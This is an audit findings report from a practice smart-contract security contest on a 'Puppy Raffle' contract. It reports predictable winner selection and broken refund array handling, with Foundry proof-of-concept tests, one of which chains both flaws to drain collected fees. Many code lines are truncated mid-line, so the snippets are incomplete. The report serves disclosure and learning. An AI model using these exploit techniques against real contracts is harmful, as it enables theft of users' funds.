Puppy Raffle

Tags

First Flight #2: Puppy Raffle - Findings Report

Table of contents

Contest Summary

Sponsor: First Flight #2

Dates: Oct 25th, 2023 - Nov 1st, 2023

See more contest details here

Results Summary

Number of findings:

- High: 2
- Medium: 0

- Low: 0

High Risk Findings

H-01. Insufficient Randomization Leads to Prediction of Winner

Summary

The `selectWinner()` function uses insufficient methods to calculate the random winner of the raffle, leading to an attacker being able to predict the winner of the raffle.

Vulnerability Details

The winner's index is calculated based upon non-random values, which can be calculated and predicted by an attacker:

`uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length`

Since the raffle duration is a known value, the block.timestamp at the time of `selectWinner()` can be calculated.

```
    // @audit-issue predict the winner of the raffle
    // the function to generate the winner index is not rando
    // the msg.sender, block.timestamp and block.difficulty. 
    // UNDERLYING ISSUE: WINNER INDEX IS PREDICTABLE
    function testWalleWinnerIsRandom() public {
        // SET-UP
        address[] memory players = new address[](5);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        players[4] = playerFive;
        puppyRaffle.enterRaffle{value: entranceFee * players.

        // predict winner
```

```
        uint256 winnerIndex = uint256(keccak256(abi.encodePac

        // end raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        // we predicted the winner
        assertFalse(puppyRaffle.previousWinner() == players[w
    }
```

Run the test with `forge test -f $LOCAL_RPC_URL --mt testWalleWinnerIsRandom -vv`.

Impact

An attacker could arbitrarily join raffles, check if they win and refund, if they don't, basically leading to winning every raffle. Adding arbitrarily new players to the raffle even changes the outcome of the raffle, so that an attacker could change the outcome to his own advantage (=win).

```
    // add this to the contract definition
    address[] public playersDynamic;

    // @audit-duplicate make the winner of the raffle be play
    // since we can predict the winner of the raffle by a mat
    // we can simply add players until the winner is us (in t
    // UNDERLYING ISSUE: PLAYERS ARRAY SIZE IS NOT SHRINKED U
    //                   WINNER INDEX IS PREDICTABLE
    function testWalleCantTargetWinner() public {
        // Set-Up => we need 4 players to start raffle. Attac
        for (uint256 j = 1; j <= 4; j++) {
            playersDynamic.push(address(j));
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersD

        // Check, if Attacker (here: playerDynamic[0]) wins.
        uint256 winnerIndex = uint256(keccak256(abi.encodePac
```

```
        uint256 i = 5;
        while (playersDynamic[winnerIndex] !=  playersDynamic
            address[] memory player = new address[](1);
            player[0] = address(i);
            playersDynamic.push(player[0]);
            puppyRaffle.enterRaffle{value: entranceFee}(playe
            winnerIndex = uint256(keccak256(abi.encodePacked(
            i++;
        }
        console.log("Total players in the raffle: ", playersD
        console.log("Predicted winner: ", playersDynamic[winn

        // skip to end of raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        assertFalse(puppyRaffle.previousWinner() == playersDy
    }
```

Tools Used

Recommendations

H-02. Broken array handling leading to loss of funds

Introduction

This is my very first finding and submission in the smart contract space. Excuse me, if the report is not that well written and might be a bit confusing. This First Flight was a lot of fun and a ton of new stuff to learn for me, a lot of thanks to you guys!

Summary

The `refund(uint256)` function does not correctly remove a players index from the array, but sets it to the 0-address. This leads to the `<array>.size()` not being decremented. Because `<array>.size` is used in further calculations, this leads to a malicious actor being able to drain the contracts fees.

Vulnerability Details

The `refund(uint256)` functions comments `(@dev This function will allow there to be blank spots in the array)` reveal, that there are blank spots in the array. I wrote a test to see, if that affects the `<array>.size` value:

```
    // @audit-exploit Array size is not reduced upon refund
    //      The length of the player array is not reduced, we
    //      Thus, when four players enter and one player deci
    //      starts, even though there are only three players.
    function testWallePlayerArrayLengthReducedAfterRefund() p
        // get the index of playerTwo and refund
        uint256 indexOfPlayer = puppyRaffle.getActivePlayerIn
        vm.prank(playerTwo);
        puppyRaffle.refund(indexOfPlayer);

        // check, if player has correctly refunded
        indexOfPlayer = puppyRaffle.getActivePlayerIndex(play
        bool isActivePlayer = indexOfPlayer > 0;
        assertFalse(isActivePlayer);

        // now there should be 3 players left in the pool -->
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // contract did not revert and tries  to select a win
        vm.expectRevert("PuppyRaffle: Need at least 4 players
        puppyRaffle.selectWinner();
    }
```

As expected, the `<array>.size()` is not decremented. While running the test above with `forge test -f $LOCAL_RPC_URL --mt testWallePlayerArrayLengthReducedAfterRefund -vvvv`, specific lines of output caught my eye:

```
├─ [40652] PuppyRaffle::selectWinner()
    │   ├─ [0] 0x0000000000000000000000000000000000000000::fa
```

```
    │   │   └─ ← "EvmError: OutOfFund"
```

The `OutOfFund` error occurs, when a contracts balance is smaller than the value it tries to send. After further examining the `selectWinner()` function, these three lines stand out:

```
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Apparently, the `<array>.length` `(=players.length)` value is used to calculate the amount of entrance fees payed by the players as well as the final prize pool. Since players, that refunded, are not correctly removed from the list of players, they still count towards the final prize pool. The `refund(uint256)` function not only does not remove the players correctly, it fails to deduct their fee payback from the final prize pool as well.

A malicious actor can use this to continously add and refund new players to the raffle to increase the prize pool (up to a maximum of the contracts balance, which was 0 in my previous test, which is why it reverted).

This can further be combined with another vulnerability, which I will describe in another report, that allows the winner of a raffle to be predicted (and even changed) prior to the end of a raffle due to insufficient randomness.

Let's summarize the attack:

1. `<array>.size()` in the `refund(uint256)` function does not correctly remove players from the array
2. New players can arbitrarily be added and refunded to the raffle, inflating the array size
3. the raffle's prize pool uses this size to calculate the final prize pool (which is then higher as intended)
4. the winner of the raffle can be predicted (and altered) to match the attackers address
5. the contract pays out the raffle's prize pool + an amount depending on the number of players joining and refunding during the raffle => loss of fees collected

See the following test code to test for the vulnerability:

```
 // add this to the contract definition
 address[] public playersDynamic;

// @audit-issue a malicious actor can drain the contracts
// we know, because of the previous 2 exploits, that we c
// actually alter the winner to a player of our choice
// Now we use these two exploits to drain the contract of
// UNDERLYING ISSUE: PLAYERS ARRAY SIZE IS NOT SHRINKED U
function testWallePlayerCantDrainFees() public {
    // ########## SET-UP ##########
    // we raffle a few times to have some fees available
    // every player pays 1 ETH entrance fee => 4 ETH per
    // 20% is cut off as fee => 4 * 0.2 = 0.8 ETH per rou
    // we play 10 times => 8 ETH fees should be available
    uint256 totalFees;
    for (uint256 j; j < 10; j++) { // IF EXPLOIT FAILS DU
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * play
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        totalFees = totalFees + (entranceFee * 4 * 20/100
    }
    uint256 contractBalance = address(puppyRaffle).balanc
    // we indeed have 8 ETH
    console.log("Contract balance:
    assertEq(contractBalance, totalFees);
    // ########## SET-UP DONE ##########

    // ########## EXPLOIT START ##########
    // Description
    // When a player refunds, their index at the player a
    // This does make the player essentially disappear fr
```

```
        // thus, the total prize pool is unaffected, see the
        //          uint256 totalAmountCollected = players.le
        //          uint256 prizePool = (totalAmountCollected
        // nevertheless, the player refunding is actually ref
        // puppyRaffle.selectWinner() is actually paying more
        // this value is deducted from the contract, meaning
        // To exploit this issue, and preventing random playe
        // another issue (=> testWalleCantTargetWinner), that

        // add 4 players, Attacker = playersDynamic[0].
        for (uint256 i = 1; i <= 4; i++) {
            playersDynamic.push(address(i));
        }
        uint256 numPlayers = playersDynamic.length;
        puppyRaffle.enterRaffle{value: entranceFee * playersD
        uint256 maxPayout = playersDynamic.length * entranceF
        console.log("Players actual in raffle:
        console.log("Supposed Raffle value:
        console.log("Supposed Maximum payout:

        // we're gonna add players to the raffle, until the a
        // but this time we are going to refund the new playe
        uint256 winnerIndex = 1; // this enforces the entranc
                                 // This way we add and refun
        uint256 i = 5;
        while (playersDynamic[winnerIndex] !=  playersDynamic
            address[] memory player = new address[](1);
            player[0] = address(i);
            playersDynamic.push(player[0]);
            puppyRaffle.enterRaffle{value: entranceFee}(playe
            uint256 playerIndex = puppyRaffle.getActivePlayer
            vm.prank(player[0]);
            puppyRaffle.refund(playerIndex);
            winnerIndex = uint256(keccak256(abi.encodePacked(
            i++;
        }

        // logging stuff
```

```
        uint256 actualPayout = playersDynamic.length * entran
        console.log("Players actually in raffle:
        console.log("Actual payout:
        uint256 drainAmount = actualPayout - maxPayout;
        console.log("Drain amount:
        console.log("Supposed contract balance after exploit:
        console.log("Actual contract balance after exploit:




        // skip to end of raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        assertEq(maxPayout, actualPayout);
        // ########## EXPLOIT DONE ##########

    }
```

Run the test at least with `-vv` to see the logs: `forge test -f $LOCAL_RPC_URL --mt testWallePlayerCantDrainFees -vv`

Impact

Exploiting this vulnerability may lead to complete loss of funds. This highly depends on how many players can join and immediately refund without changing the winner to someone else than the attacker and not exceeding the contract.balance.

Tools Used

- foundry

Recommendations

- remove refunding players from the player array or
- remove the entrance fee payed back to refunding players from the prize pool